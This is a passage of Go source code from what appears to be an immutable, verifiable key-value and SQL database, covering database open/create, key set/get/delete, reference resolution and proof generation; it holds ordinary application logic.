State\n\tHealth() (waitingCount int, lastReleaseAt time.Time)\n\tCurrentState() (*schema.ImmutableState, error)\n\n\tSize() (uint64, error)\n\n\tTxCount() (uint64, error)\n\n\t// Key-Value\n\tSet(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error)\n\tVerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error)\n\n\tGet(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error)\n\tVerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error)\n\tGetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error)\n\n\tDelete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error)\n\n\tSetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error)\n\tVerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error)\n\n\tScan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error)\n\n\tHistory(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error)\n\n\tExecAll(ctx context.Context, operations *schema.ExecAllRequest) (*schema.TxHeader, error)\n\n\tCount(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error)\n\tCountAll(ctx context.Context) (*schema.EntryCount, error)\n\n\tZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error)\n\tVerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error)\n\tZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error)\n\n\t// SQL-related\n\tNewSQLTx(ctx context.Context, opts *sql.TxOptions) (*sql.SQLTx, error)\n\n\tSQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error)\n\tSQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error)\n\n\tInferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error)\n\tInferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error)\n\n\tSQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (sql.RowReader, error)\n\tSQLQueryAll(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) ([]*sql.Row, error)\n\tSQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error)\n\n\tVerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error)\n\n\tCopySQLCatalog(ctx context.Context, txID uint64) (uint64, error)\n\n\tListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error)\n\tDescribeTable(ctx context.Context, tx *sql.SQLTx, table string) (*schema.SQLQueryResult, error)\n\n\t// Transactional layer\n\tWaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error\n\tWaitForIndexingUpto(ctx context.Context, txID uint64) error\n\n\tTxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error)\n\tExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error)\n\tReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error)\n\tAllowCommitUpto(txID uint64, alh [sha256.Size]byte) error\n\tDiscardPrecommittedTxsSince(txID uint64) error\n\n\tVerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error)\n\tTxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error)\n\n\t// Truncation\n\tFindTruncationPoint(ctx context.Context, until time.Time) (*schema.TxHeader, error)\n\tTruncateUptoTx(ctx context.Context, txID uint64) error\n\n\t// Maintenance\n\tFlushIndex(req *schema.FlushIndexRequest) error\n\tCompactIndex() error\n\n\tIsClosed() bool\n\tClose() error\n\n\tDocumentDatabase\n}\n\ntype replicaState struct {\n\tprecommittedTxID uint64\n\tprecommittedAlh  [sha256.Size]byte\n}\n\n// IDB database instance\ntype db struct {\n\tst *store.ImmuStore\n\n\tsqlEngine      *sql.Engine\n\tdocumentEngine *document.Engine\n\n\tmutex        *instrumentedRWMutex\n\tclosingMutex sync.Mutex\n\n\tLogger  logger.Logger\n\toptions *Options\n\n\tname string\n\n\tmaxResultSize int\n\n\ttxPool store.TxPool\n\n\treplicaStates      map[string]*replicaState\n\treplicaStatesMutex sync.Mutex\n}\n\n// OpenDB Opens an existing Database from disk\nfunc OpenDB(\n\tdbName string,\n\tmultidbHandler sql.MultiDBHandler,\n\topts *Options,\n\tlog logger.Logger,\n) (DB, error) {\n\tif dbName == \"\" {\n\t\treturn nil, fmt.Errorf(\"%w: invalid database name provided '%s'\", ErrIllegalArguments, dbName)\n\t}\n\n\tlog.Infof(\"opening database '%s' {replica = %v}...\", dbName, opts.replica)\n\n\tvar replicaStates map[string]*replicaState\n\t// replica states are only managed in primary with synchronous replication\n\tif !opts.replica && opts.syncAcks > 0 {\n\t\treplicaStates = make(map[string]*replicaState, opts.syncAcks)\n\t}\n\n\tdbi := &db{\n\t\tLogger:        log,\n\t\toptions:       opts,\n\t\tname:          dbName,\n\t\treplicaStates: replicaStates,\n\t\tmaxResultSize: opts.maxResultSize,\n\t\tmutex:         &instrumentedRWMutex{},\n\t}\n\n\tdbDir := dbi.Path()\n\t_, err := os.Stat(dbDir)\n\tif os.IsNotExist(err) {\n\t\treturn nil, fmt.Errorf(\"missing database directories: %s\", dbDir)\n\t}\n\n\tstOpts := opts.GetStoreOptions().\n\t\tWithLogger(log).\n\t\tWithMultiIndexing(true).\n\t\tWithExternalCommitAllowance(opts.syncReplication)\n\n\tdbi.st, err = store.Open(dbDir, stOpts)\n\tif err != nil {\n\t\treturn nil, logErr(dbi.Logger, \"unable to open database: %s\", err)\n\t}\n\n\tfor _, prefix := range []byte{SetKeyPrefix, SortedSetKeyPrefix} {\n\t\terr := dbi.st.InitIndexing(&store.IndexSpec{\n\t\t\tSourcePrefix: []byte{prefix},\n\t\t\tTargetPrefix: []byte{prefix},\n\t\t})\n\t\tif err != nil {\n\t\t\tdbi.st.Close()\n\t\t\treturn nil, logErr(dbi.Logger, \"unable to open database: %s\", err)\n\t\t}\n\t}\n\n\tdbi.Logger.Infof(\"loading sql-engine for database '%s' {replica = %v}...\", dbName, opts.replica)\n\n\tsqlOpts := sql.DefaultOptions().\n\t\tWithPrefix([]byte{SQLPrefix}).\n\t\tWithMultiDBHandler(multidbHandler).\n\t\tWithParseTxMetadataFunc(parseTxMetadata).\n\t\tWithTableResolvers(pgschema.PgCatalogResolvers()...)\n\n\tdbi.sqlEngine, err = sql.NewEngine(dbi.st, sqlOpts)\n\tif err != nil {\n\t\tdbi.Logger.Errorf(\"unable to load sql-engine for database '%s' {replica = %v}. %v\", dbName, opts.replica, err)\n\t\treturn nil, err\n\t}\n\n\tdbi.Logger.Infof(\"sql-engine ready for database '%s' {replica = %v}\", dbName, opts.replica)\n\n\tdbi.documentEngine, err = document.NewEngine(dbi.st, document.DefaultOptions().WithPrefix([]byte{DocumentPrefix}))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdbi.Logger.Infof(\"document-engine ready for database '%s' {replica = %v}\", dbName, opts.replica)\n\n\ttxPool, err := dbi.st.NewTxHolderPool(opts.readTxPoolSize, false)\n\tif err != nil {\n\t\treturn nil, logErr(dbi.Logger, \"unable to create tx pool: %s\", err)\n\t}\n\tdbi.txPool = txPool\n\n\tif opts.replica {\n\t\tdbi.Logger.Infof(\"database '%s' {replica = %v} successfully opened\", dbName, opts.replica)\n\t\treturn dbi, nil\n\t}\n\n\tdbi.Logger.Infof(\"database '%s' {replica = %v} successfully opened\", dbName, opts.replica)\n\n\treturn dbi, nil\n}\n\nfunc parseTxMetadata(data []byte) (map[string]interface{}, error) {\n\tmd := schema.Metadata{}\n\tif err := md.Unmarshal(data); err != nil {\n\t\treturn nil, err\n\t}\n\n\tmeta := make(map[string]interface{}, len(md))\n\tfor k, v := range md {\n\t\tmeta[k] = v\n\t}\n\treturn meta, nil\n}\n\nfunc (d *db) Path() string {\n\treturn filepath.Join(d.options.GetDBRootPath(), d.GetName())\n}\n\nfunc (d *db) allocTx() (*store.Tx, error) {\n\ttx, err := d.txPool.Alloc()\n\tif errors.Is(err, store.ErrTxPoolExhausted) {\n\t\treturn nil, ErrTxReadPoolExhausted\n\t}\n\treturn tx, err\n}\n\nfunc (d *db) releaseTx(tx *store.Tx) {\n\td.txPool.Release(tx)\n}\n\n// NewDB Creates a new Database along with it's directories and files\nfunc NewDB(dbName string, multidbHandler sql.MultiDBHandler, opts *Options, log logger.Logger) (DB, error) {\n\tif dbName == \"\" {\n\t\treturn nil, fmt.Errorf(\"%w: invalid database name provided '%s'\", ErrIllegalArguments, dbName)\n\t}\n\n\tlog.Infof(\"creating database '%s' {replica = %v}...\", dbName, opts.replica)\n\n\tvar replicaStates map[string]*replicaState\n\t// replica states are only managed in primary with synchronous replication\n\tif !opts.replica && opts.syncAcks > 0 {\n\t\treplicaStates = make(map[string]*replicaState, opts.syncAcks)\n\t}\n\n\tdbi := &db{\n\t\tLogger:        log,\n\t\toptions:       opts,\n\t\tname:          dbName,\n\t\treplicaStates: replicaStates,\n\t\tmaxResultSize: opts.maxResultSize,\n\t\tmutex:         &instrumentedRWMutex{},\n\t}\n\n\tdbDir := filepath.Join(opts.GetDBRootPath(), dbName)\n\n\t_, err := os.Stat(dbDir)\n\tif err == nil {\n\t\treturn nil, fmt.Errorf(\"database directories already exist: %s\", dbDir)\n\t}\n\n\tif err = os.MkdirAll(dbDir, os.ModePerm); err != nil {\n\t\treturn nil, logErr(dbi.Logger, \"unable to create data folder: %s\", err)\n\t}\n\n\tstOpts := opts.GetStoreOptions().\n\t\tWithExternalCommitAllowance(opts.syncReplication).\n\t\tWithMultiIndexing(true).\n\t\tWithLogger(log)\n\n\tdbi.st, err = store.Open(dbDir, stOpts)\n\tif err != nil {\n\t\treturn nil, logErr(dbi.Logger, \"unable to open database: %s\", err)\n\t}\n\n\tfor _, prefix := range []byte{SetKeyPrefix, SortedSetKeyPrefix} {\n\t\terr := dbi.st.InitIndexing(&store.IndexSpec{\n\t\t\tSourcePrefix: []byte{prefix},\n\t\t\tTargetPrefix: []byte{prefix},\n\t\t})\n\t\tif err != nil {\n\t\t\tdbi.st.Close()\n\t\t\treturn nil, logErr(dbi.Logger, \"unable to open database: %s\", err)\n\t\t}\n\t}\n\n\ttxPool, err := dbi.st.NewTxHolderPool(opts.readTxPoolSize, false)\n\tif err != nil {\n\t\treturn nil, logErr(dbi.Logger, \"unable to create tx pool: %s\", err)\n\t}\n\tdbi.txPool = txPool\n\n\tsqlOpts := sql.DefaultOptions().\n\t\tWithPrefix([]byte{SQLPrefix}).\n\t\tWithMultiDBHandler(multidbHandler).\n\t\tWithParseTxMetadataFunc(parseTxMetadata).\n\t\tWithTableResolvers(pgschema.PgCatalogResolvers()...)\n\n\tdbi.Logger.Infof(\"loading sql-engine for database '%s' {replica = %v}...\", dbName, opts.replica)\n\n\tdbi.sqlEngine, err = sql.NewEngine(dbi.st, sqlOpts)\n\tif err != nil {\n\t\tdbi.Logger.Errorf(\"unable to load sql-engine for database '%s' {replica = %v}. %v\", dbName, opts.replica, err)\n\t\treturn nil, err\n\t}\n\tdbi.Logger.Infof(\"sql-engine ready for database '%s' {replica = %v}\", dbName, opts.replica)\n\n\tdbi.documentEngine, err = document.NewEngine(dbi.st, document.DefaultOptions().WithPrefix([]byte{DocumentPrefix}))\n\tif err != nil {\n\t\treturn nil, logErr(dbi.Logger, \"Unable to open database: %s\", err)\n\t}\n\tdbi.Logger.Infof(\"document-engine ready for database '%s' {replica = %v}\", dbName, opts.replica)\n\n\tdbi.Logger.Infof(\"database '%s' successfully created {replica = %v}\", dbName, opts.replica)\n\n\treturn dbi, nil\n}\n\nfunc (d *db) MaxResultSize() int {\n\treturn d.maxResultSize\n}\n\nfunc (d *db) FlushIndex(req *schema.FlushIndexRequest) error {\n\tif req == nil {\n\t\treturn store.ErrIllegalArguments\n\t}\n\treturn d.st.FlushIndexes(req.CleanupPercentage, req.Synced)\n}\n\n// CompactIndex ...\nfunc (d *db) CompactIndex() error {\n\treturn d.st.CompactIndexes()\n}\n\n// Set ...\nfunc (d *db) Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tif d.isReplica() {\n\t\treturn nil, ErrIsReplica\n\t}\n\n\treturn d.set(ctx, req)\n}\n\nfunc (d *db) set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\ttx, err := d.newWriteOnlyTx(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer tx.Cancel()\n\n\tkeys := make(map[[sha256.Size]byte]struct{}, len(req.KVs))\n\n\tfor _, kv := range req.KVs {\n\t\tif len(kv.Key) == 0 {\n\t\t\treturn nil, ErrIllegalArguments\n\t\t}\n\n\t\tkid := sha256.Sum256(kv.Key)\n\t\t_, ok := keys[kid]\n\t\tif ok {\n\t\t\treturn nil, schema.ErrDuplicatedKeysNotSupported\n\t\t}\n\t\tkeys[kid] = struct{}{}\n\n\t\te := EncodeEntrySpec(\n\t\t\tkv.Key,\n\t\t\tschema.KVMetadataFromProto(kv.Metadata),\n\t\t\tkv.Value,\n\t\t)\n\n\t\terr = tx.Set(e.Key, e.Metadata, e.Value)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tfor i := range req.Preconditions {\n\t\tc, err := PreconditionFromProto(req.Preconditions[i])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\terr = tx.AddPrecondition(c)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: %v\", store.ErrInvalidPrecondition, err)\n\t\t}\n\t}\n\n\tvar hdr *store.TxHeader\n\n\tif req.NoWait {\n\t\thdr, err = tx.AsyncCommit(ctx)\n\t} else {\n\t\thdr, err = tx.Commit(ctx)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn schema.TxHeaderToProto(hdr), nil\n}\n\nfunc (d *db) newWriteOnlyTx(ctx context.Context) (*store.OngoingTx, error) {\n\ttx, err := d.st.NewWriteOnlyTx(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn d.txWithMetadata(ctx, tx)\n}\n\nfunc (d *db) newTx(ctx context.Context, opts *store.TxOptions) (*store.OngoingTx, error) {\n\ttx, err := d.st.NewTx(ctx, opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn d.txWithMetadata(ctx, tx)\n}\n\nfunc (d *db) txWithMetadata(ctx context.Context, tx *store.OngoingTx) (*store.OngoingTx, error) {\n\tmeta := schema.MetadataFromContext(ctx)\n\tif len(meta) > 0 {\n\t\ttxmd := store.NewTxMetadata()\n\n\t\tdata, err := meta.Marshal()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif err := txmd.WithExtra(data); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn tx.WithMetadata(txmd), nil\n\t}\n\treturn tx, nil\n}\n\nfunc checkKeyRequest(req *schema.KeyRequest) error {\n\tif req == nil {\n\t\treturn fmt.Errorf(\n\t\t\t\"%w: empty request\",\n\t\t\tErrIllegalArguments,\n\t\t)\n\t}\n\n\tif len(req.Key) == 0 {\n\t\treturn fmt.Errorf(\n\t\t\t\"%w: empty key\",\n\t\t\tErrIllegalArguments,\n\t\t)\n\t}\n\n\tif req.AtTx > 0 {\n\t\tif req.SinceTx > 0 {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: SinceTx should not be specified when AtTx is used\",\n\t\t\t\tErrIllegalArguments,\n\t\t\t)\n\t\t}\n\n\t\tif req.AtRevision != 0 {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: AtRevision should not be specified when AtTx is used\",\n\t\t\t\tErrIllegalArguments,\n\t\t\t)\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// Get ...\nfunc (d *db) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) {\n\terr := checkKeyRequest(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcurrTxID, _ := d.st.CommittedAlh()\n\tif req.SinceTx > currTxID {\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"%w: SinceTx must not be greater than the current transaction ID\",\n\t\t\tErrIllegalArguments,\n\t\t)\n\t}\n\n\tif !req.NoWait && req.AtTx == 0 {\n\t\twaitUntilTx := req.SinceTx\n\t\tif waitUntilTx == 0 {\n\t\t\twaitUntilTx = currTxID\n\t\t}\n\n\t\terr := d.WaitForIndexingUpto(ctx, waitUntilTx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif req.AtRevision != 0 {\n\t\treturn d.getAtRevision(ctx, EncodeKey(req.Key), req.AtRevision, true)\n\t}\n\n\treturn d.getAtTx(ctx, EncodeKey(req.Key), req.AtTx, 0, d.st, 0, true)\n}\n\nfunc (d *db) get(ctx context.Context, key []byte, index store.KeyIndex, skipIntegrityCheck bool) (*schema.Entry, error) {\n\treturn d.getAtTx(ctx, key, 0, 0, index, 0, skipIntegrityCheck)\n}\n\nfunc (d *db) getAtTx(\n\tctx context.Context,\n\tkey []byte,\n\tatTx uint64,\n\tresolved int,\n\tindex store.KeyIndex,\n\trevision uint64,\n\tskipIntegrityCheck bool,\n) (entry *schema.Entry, err error) {\n\n\tvar txID uint64\n\tvar val []byte\n\tvar md *store.KVMetadata\n\n\tif atTx == 0 {\n\t\tvalRef, err := index.Get(ctx, key)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\ttxID = valRef.Tx()\n\t\trevision = valRef.HC()\n\t\tmd = valRef.KVMetadata()\n\n\t\tval, err = valRef.Resolve()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else {\n\t\ttxID = atTx\n\n\t\tmd, val, err = d.readMetadataAndValue(key, atTx, skipIntegrityCheck)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn d.resolveValue(ctx, key, val, resolved, txID, md, index, revision, skipIntegrityCheck)\n}\n\nfunc (d *db) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityCheck bool) (*store.KVMetadata, []byte, error) {\n\tentry, _, err := d.st.ReadTxEntry(atTx, key, skipIntegrityCheck)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tv, err := d.st.ReadValue(entry)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treturn entry.Metadata(), v, nil\n}\n\nfunc (d *db) getAtRevision(ctx context.Context, key []byte, atRevision int64, skipIntegrityCheck bool) (entry *schema.Entry, err error) {\n\tvar offset uint64\n\tvar desc bool\n\n\tif atRevision > 0 {\n\t\toffset = uint64(atRevision) - 1\n\t\tdesc = false\n\t} else {\n\t\toffset = -uint64(atRevision)\n\t\tdesc = true\n\t}\n\n\tvalRefs, hCount, err := d.st.History(key, offset, desc, 1)\n\tif errors.Is(err, store.ErrNoMoreEntries) || errors.Is(err, store.ErrOffsetOutOfRange) {\n\t\treturn nil, ErrInvalidRevision\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif atRevision < 0 {\n\t\tatRevision = int64(hCount) + atRevision\n\t}\n\n\tentry, err = d.getAtTx(ctx, key, valRefs[0].Tx(), 0, d.st, uint64(atRevision), skipIntegrityCheck)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn entry, err\n}\n\nfunc (d *db) resolveValue(\n\tctx context.Context,\n\tkey []byte,\n\tval []byte,\n\tresolved int,\n\ttxID uint64,\n\tmd *store.KVMetadata,\n\tindex store.KeyIndex,\n\trevision uint64,\n\tskipIntegrityCheck bool,\n) (entry *schema.Entry, err error) {\n\tif md != nil && md.Deleted() {\n\t\treturn nil, store.ErrKeyNotFound\n\t}\n\n\tif len(val) < 1 {\n\t\treturn nil, fmt.Errorf(\"%w: internal value consistency error - missing value prefix\", store.ErrCorruptedData)\n\t}\n\n\t// Reference lookup\n\tif val[0] == ReferenceValuePrefix {\n\t\tif len(val) < 1+8 {\n\t\t\treturn nil, fmt.Errorf(\"%w: internal value consistency error - invalid reference\", store.ErrCorruptedData)\n\t\t}\n\n\t\tif resolved == MaxKeyResolutionLimit {\n\t\t\treturn nil, ErrKeyResolutionLimitReached\n\t\t}\n\n\t\tatTx := binary.BigEndian.Uint64(TrimPrefix(val))\n\t\trefKey := make([]byte, len(val)-1-8)\n\t\tcopy(refKey, val[1+8:])\n\n\t\tif index != nil {\n\t\t\tentry, err = d.getAtTx(ctx, refKey, atTx, resolved+1, index, 0, skipIntegrityCheck)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t} else {\n\t\t\tentry = &schema.Entry{\n\t\t\t\tKey: TrimPrefix(refKey),\n\t\t\t\tTx:  atTx,\n\t\t\t}\n\t\t}\n\n\t\tentry.ReferencedBy = &schema.Reference{\n\t\t\tTx:       txID,\n\t\t\tKey:      TrimPrefix(key),\n\t\t\tMetadata: schema.KVMetadataToProto(md),\n\t\t\tAtTx:     atTx,\n\t\t\tRevision: revision,\n\t\t}\n\n\t\treturn entry, nil\n\t}\n\n\treturn &schema.Entry{\n\t\tTx:       txID,\n\t\tKey:      TrimPrefix(key),\n\t\tMetadata: schema.KVMetadataToProto(md),\n\t\tValue:    TrimPrefix(val),\n\t\tRevision: revision,\n\t}, nil\n}\n\nfunc (d *db) Health() (waitingCount int, lastReleaseAt time.Time) {\n\treturn d.mutex.State()\n}\n\n// CurrentState ...\nfunc (d *db) CurrentState() (*schema.ImmutableState, error) {\n\tlastTxID, lastTxAlh := d.st.CommittedAlh()\n\tlastPreTxID, lastPreTxAlh := d.st.PrecommittedAlh()\n\n\treturn &schema.ImmutableState{\n\t\tTxId:               lastTxID,\n\t\tTxHash:             lastTxAlh[:],\n\t\tPrecommittedTxId:   lastPreTxID,\n\t\tPrecommittedTxHash: lastPreTxAlh[:],\n\t}, nil\n}\n\n// WaitForTx blocks caller until specified tx\nfunc (d *db) WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error {\n\treturn d.st.WaitForTx(ctx, txID, allowPrecommitted)\n}\n\n// WaitForIndexingUpto blocks caller until specified tx gets indexed\nfunc (d *db) WaitForIndexingUpto(ctx context.Context, txID uint64) error {\n\treturn d.st.WaitForIndexingUpto(ctx, txID)\n}\n\n// VerifiableSet ...\nfunc (d *db) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tlastTxID, _ := d.st.CommittedAlh()\n\tif lastTxID < req.ProveSinceTx {\n\t\treturn nil, ErrIllegalState\n\t}\n\n\t// Preallocate tx buffers\n\tlastTx, err := d.allocTx()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer d.releaseTx(lastTx)\n\n\ttxhdr, err := d.Set(ctx, req.SetRequest)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = d.st.ReadTx(uint64(txhdr.Id), false, lastTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar prevTxHdr *store.TxHeader\n\n\tif req.ProveSinceTx == 0 {\n\t\tprevTxHdr = lastTx.Header()\n\t} else {\n\t\tprevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tdualProof, err := d.st.DualProof(prevTxHdr, lastTx.Header())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &schema.VerifiableTx{\n\t\tTx:        schema.TxToProto(lastTx),\n\t\tDualProof: schema.DualProofToProto(dualProof),\n\t}, nil\n}\n\n// VerifiableGet ...\nfunc (d *db) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tlastTxID, _ := d.st.CommittedAlh()\n\tif lastTxID < req.ProveSinceTx {\n\t\treturn nil, ErrIllegalState\n\t}\n\n\te, err := d.Get(ctx, req.KeyRequest)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar vTxID uint64\n\tvar vKey []byte\n\n\tif e.ReferencedBy == nil {\n\t\tvTxID = e.Tx\n\t\tvKey = e.Key\n\t} else {\n\t\tvTxID = e.ReferencedBy.Tx\n\t\tvKey = e.ReferencedBy.Key\n\t}\n\n\t// key-value inclusion proof\n\ttx, err := d.allocTx()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer d.releaseTx(tx)\n\n\terr = d.st.ReadTx(vTxID, false, tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar rootTxHdr *store.TxHeader\n\n\tif req.ProveSinceTx == 0 {\n\t\trootTxHdr = tx.Header()\n\t} else {\n\t\trootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tinclusionProof, err := tx.Proof(EncodeKey(vKey))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar sourceTxHdr, targetTxHdr *store.TxHeader\n\n\tif req.ProveSinceTx <= vTxID {\n\t\tsourceTxHdr = rootTxHdr\n\t\ttargetTxHdr = tx.Header()\n\t} else {\n\t\tsourceTxHdr = tx.Header()\n\t\ttargetTxHdr = rootTxHdr\n\t}\n\n\tdualProof, err := d.st.DualProof(sourceTxHdr, targetTxHdr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tverifiableTx := &schema.VerifiableTx{\n\t\tTx:        schema.TxToProto(tx),\n\t\tDualProof: schema.DualProofToProto(dualProof),\n\t}\n\n\treturn &schema.VerifiableEntry{\n\t\tEntry:          e,\n\t\tVerifiableTx:   verifiableTx,\n\t\tInclusionProof: schema.InclusionProofToProto(inclusionProof),\n\t}, nil\n}\n\nfunc (d *db) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tif d.isReplica() {\n\t\treturn nil, ErrIsReplica\n\t}\n\n\topts := store.DefaultTxOptions()\n\n\tif req.SinceTx > 0 {\n\t\tif req.SinceTx > d.st.LastPrecommittedTxID() {\n\t\t\treturn nil, store.ErrTxNotFound\n\t\t}\n\n\t\topts.WithSnapshotMustIncludeTxID(func(_ uint64) uint64 {\n\t\t\treturn req.SinceTx\n\t\t})\n\t}\n\n\ttx, err := d.newTx(ctx, opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer tx.Cancel()\n\n\tfor _, k := range req.Keys {\n\t\tif len(k) == 0 {\n\t\t\treturn nil, ErrIllegalArguments\n\t\t}\n\n\t\tmd := store.NewKVMetadata()\n\n\t\tmd.AsDeleted(true)\n\n\t\te := EncodeEntrySpec(k, md, nil)\n\n\t\terr = tx.Delete(ctx, e.Key)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tvar hdr *store.TxHeader\n\tif req.NoWait {\n\t\thdr, err = tx.AsyncCommit(ctx)\n\t} else {\n\t\thdr, err = tx.Commit(ctx)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn schema.TxHeaderToProto(hdr), nil\n}\n\n// GetAll ...\nfunc (d *db) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) {\n\tsnap, err := d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer snap.Close()\n\n\tlist := &schema.Entries{}\n\n\tfor _, key := range req.Keys {\n\t\te, err := d.get(ctx, EncodeKey(key), snap, true)\n\t\tif err == nil || errors.Is(err, store.ErrKeyNotFound) {\n\t\t\tif e != nil {\n\t\t\t\tlist.Entries = append(list.Entries, e)\n\t\t\t}\n\t\t} else {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn list, nil\n}\n\nfunc (d *db) Size() (uint64, error) {\n\treturn d.st.Size()\n}\n\n// TxCount ...\nfunc (d *db) TxCount() (uint64, error) {\n\treturn d.st.TxCount(), nil\n}\n\n// Count ...\nfunc (d *db) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) {\n\tif prefix == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\ttx, err := d.st.NewTx(ctx, store.DefaultTxOptions().WithMode(store.ReadOnlyTx))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer tx.Cancel()\n\n\tkeyReader, err := tx.NewKeyReader(store.KeyReaderSpec{\n\t\tPrefix: WrapWithPrefix(prefix.Prefix, SetKeyPrefix),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer keyReader.Close()\n\n\tcount := 0\n\n\tfor {\n\t\t_, _, err := keyReader.Read(ctx)\n\t\tif errors.Is(err, store.ErrNoMoreEntries) {\n\t\t\tbreak\n\t\t}\n\t\tif err != 